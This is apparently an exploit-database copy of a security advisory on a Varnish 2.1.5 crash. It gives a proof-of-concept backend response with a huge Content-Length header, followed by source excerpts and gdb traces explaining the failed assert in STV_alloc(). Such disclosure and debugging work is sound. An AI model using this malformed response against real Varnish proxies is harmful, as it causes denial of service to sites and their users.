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Varnish 2.1.5 DoS in STV_alloc() while parsing Content-Length header

CVE Category Price Severity
CVE-2013-1920 CWE-416 Unknown High
Author Risk Exploitation Type Date
Ivan Fratric High Remote 2013-03-06
CPE
cpe:cpe:/a:varnish-cache:varnish:2.1.5
CVSS EPSS EPSSP
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H 0 0

CVSS vector description

Our sensors found this exploit at: http://cxsecurity.com/ascii/WLB-2013030045

Below is a copy:

#######################################
# STV_alloc()       |  ((st) != NULL) #
#######################################
#
# Authors:
#
# 22733db72ab3ed94b5f8a1ffcde850251fe6f466
# c8e74ebd8392fda4788179f9a02bb49337638e7b
# AKAT-1
#
#######################################

# Versions: 2.1.5
# Full panic message:
#

Panic message: Assert error in STV_alloc(), stevedore.c line 192:#012  Condition((st) != NULL) not true.



## Summary:
Varnish 2.1.5 crash and restart (via assert) while parsing Content-Length: header (backend response).
This could be used if attacker gained access to backed systems (for example injecting HTTP headers
in buggy web application), or when backend system is not managed by the same entity as the varnish
proxy.



POC(response):
-- cut --
HTTP/1.1 200 OK
Content-Length: 2147483647


-- cut --


# Brief and unfinished pointers on what happens here : 

core:
153 struct storage *
154 STV_alloc(struct sess *sp, size_t size, struct objcore *oc)
155 {
156   struct storage *st;
157   struct stevedore *stv = NULL;
158   unsigned fail = 0;
159 
160   /*
161    * Always try the stevedore which allocated the object in order to
162    * not needlessly split an object across multiple stevedores.
163    */
164   if (sp->obj != NULL) {
165     CHECK_OBJ_NOTNULL(sp->obj, OBJECT_MAGIC);
166     if (sp->obj->objstore != NULL) {
167       stv = sp->obj->objstore->stevedore;
168       CHECK_OBJ_NOTNULL(stv, STEVEDORE_MAGIC);
169     }
170   }
171 
172   for (;;) {
173     if (stv == NULL) {
174       stv = stv_pick_stevedore();
175       fail = 0;
176     }
177 
178     /* try to allocate from it */
179     AN(stv->alloc);
180     st = stv->alloc(stv, size, oc);
181     if (st != NULL)
182       break;
183 
184     /* no luck; try to free some space and keep trying */
185     if (EXP_NukeOne(sp, stv->lru) == -1)
186       break;
187 
188     /* Enough is enough: try another if we have one */
189     if (++fail == 50)
190       stv = NULL;
191   }
192   CHECK_OBJ_NOTNULL(st, STORAGE_MAGIC);
193   return (st);
194 }


Assertion from line 192 fails as STORAGE_MAGIC is defined as :
cache.h line 276:
-- cut --
#define STORAGE_MAGIC   0x1a4e51c0
-- cut --

while the CHECK_OBJ_NOTNULL macro (include/miniobj.h ) is defined 
as :

#define CHECK_OBJ_NOTNULL(ptr, type_magic)        \
  do {                \
    assert((ptr) != NULL);          \
    assert((ptr)->magic == type_magic);     \
  } while (0)


and st is NULL when it reaches the macro as 
180     st = stv->alloc(stv, size, oc);

stv structure is declared in stevandore.h as follows :

-- cut --
struct stevedore {
  unsigned    magic;
#define STEVEDORE_MAGIC   0x4baf43db
  const char    *name;
  storage_init_f    *init;  /* called by mgt process */
  storage_open_f    *open;  /* called by cache process */
  storage_alloc_f   *alloc;
  storage_trim_f    *trim;
  storage_free_f    *free;
  storage_object_f  *object;
  storage_close_f   *close;

  struct lru    *lru;

  /* private fields */
  void      *priv;

  VTAILQ_ENTRY(stevedore) list;
};
-- cut --

so after the second pass when it tries to allocate it , it calls 

180     st = stv->alloc(stv, size, oc);

at which point st is cleared to 0x0
alloc is a function pointer to storage_alloc_f
$1 = (storage_alloc_f *) 0x44a29a <smf_alloc>
smf_alloc is in turn defined in storage_file.c 

Breakpoint 2, smf_alloc (st=0x7f5b34e48080, size=2147483647, oc=0x0) at storage_file.c:463
(gdb) info args
st = 0x7f5b34e48080
size = 2147483647
oc = 0x0


in smf_alloc though it calls alloc_smf , where it gets 0
so it returns NULL

”‚471             smf = alloc_smf(sc, size);
”‚472             if (smf == NULL) {
”‚473                     Lck_Unlock(&sc->mtx);
”‚474                     return (NULL);
”‚475             }  


alloc_smf :

”‚231             struct smf *sp, *sp2;
..


(gdb) macro expand VTAILQ_FOREACH(sp, &sc->free[NBUCKET -1], status)
expands to: for ((sp) = (((&sc->free[(128 / 4 + 1) -1]))->vtqh_first); (sp); (sp) = (((sp))->status.vtqe_next))



basically while it cycles through this linked list, it reaches
(gdb) p sp->size
$13 = 798867456
(gdb) nexti
(gdb) p sp->size
$14 = 798875648


delta = 8192

(gdb) p sp->size
$20 = 798875648
(gdb) nexti
(gdb) p sp->size
$21 = 798871552

delta  = -4096

(gdb) p sp->size
$24 = 798871552
(gdb) nexti
(gdb) p sp->size
$25 = 798875648


delta = 4096

one of the sp->status->vtsq_next must be null

sc is some kind of allocator divided into free and used :

Breakpoint 1, alloc_smf (sc=0x7f2d5424a300, bytes=2147483648) at storage_file.c:234
234   assert(!(bytes % sc->pagesize));
(gdb) p *sc
$1 = {filename = 0x7f2d5421f040 "/tmp/dsdsd", fd = 3, pagesize = 4096, filesize = 6390988800, order = {
    vtqh_first = 0x7f2d54205a80, vtqh_last = 0x7f2d542055b8}, free = {{vtqh_first = 0x0, vtqh_last = 0x7f2d5424a328}, 
    {vtqh_first = 0x0, vtqh_last = 0x7f2d5424a338}, {vtqh_first = 0x0, vtqh_last = 0x7f2d5424a348}, {
      vtqh_first = 0x0, vtqh_last = 0x7f2d5424a358}, {vtqh_first = 0x0, vtqh_last = 0x7f2d5424a368}, {
      vtqh_first = 0x0, vtqh_last = 0x7f2d5424a378}, {vtqh_first = 0x0, vtqh_last = 0x7f2d5424a388}, {
      vtqh_first = 0x0, vtqh_last = 0x7f2d5424a398}, {vtqh_first = 0x0, vtqh_last = 0x7f2d5424a3a8}, {
      vtqh_first = 0x0, vtqh_last = 0x7f2d5424a3b8}, {vtqh_first = 0x0, vtqh_last = 0x7f2d5424a3c8}, {
      vtqh_first = 0x0, vtqh_last = 0x7f2d5424a3d8}, {vtqh_first = 0x0, vtqh_last = 0x7f2d5424a3e8}, {
      vtqh_first = 0x0, vtqh_last = 0x7f2d5424a3f8}, {vtqh_first = 0x0, vtqh_last = 0x7f2d5424a408}, {
      vtqh_first = 0x0, vtqh_last = 0x7f2d5424a418}, {vtqh_first = 0x0, vtqh_last = 0x7f2d5424a428}, {
      vtqh_first = 0x0, vtqh_last = 0x7f2d5424a438}, {vtqh_first = 0x0, vtqh_last = 0x7f2d5424a448}, {
      vtqh_first = 0x0, vtqh_last = 0x7f2d5424a458}, {vtqh_first = 0x0, vtqh_last = 0x7f2d5424a468}, {
      vtqh_first = 0x0, vtqh_last = 0x7f2d5424a478}, {vtqh_first = 0x0, vtqh_last = 0x7f2d5424a488}, {
      vtqh_first = 0x0, vtqh_last = 0x7f2d5424a498}, {vtqh_first = 0x0, vtqh_last = 0x7f2d5424a4a8}, {
      vtqh_first = 0x0, vtqh_last = 0x7f2d5424a4b8}, {vtqh_first = 0x0, vtqh_last = 0x7f2d5424a4c8}, {
      vtqh_first = 0x0, vtqh_last = 0x7f2d5424a4d8}, {vtqh_first = 0x0, vtqh_last = 0x7f2d5424a4e8}, {
      vtqh_first = 0x0, vtqh_last = 0x7f2d5424a4f8}, {vtqh_first = 0x0, vtqh_last = 0x7f2d5424a508}, {
      vtqh_first = 0x0, vtqh_last = 0x7f2d5424a518}, {vtqh_first = 0x7f2d54205540, vtqh_last = 0x7f2d54205b08}}, 
  used = {vtqh_first = 0x7f2d4c50c0c0, vtqh_last = 0x7f2d4c50c148}, mtx = {priv = 0x7f2d542205e0}}
(gdb) 
EOF

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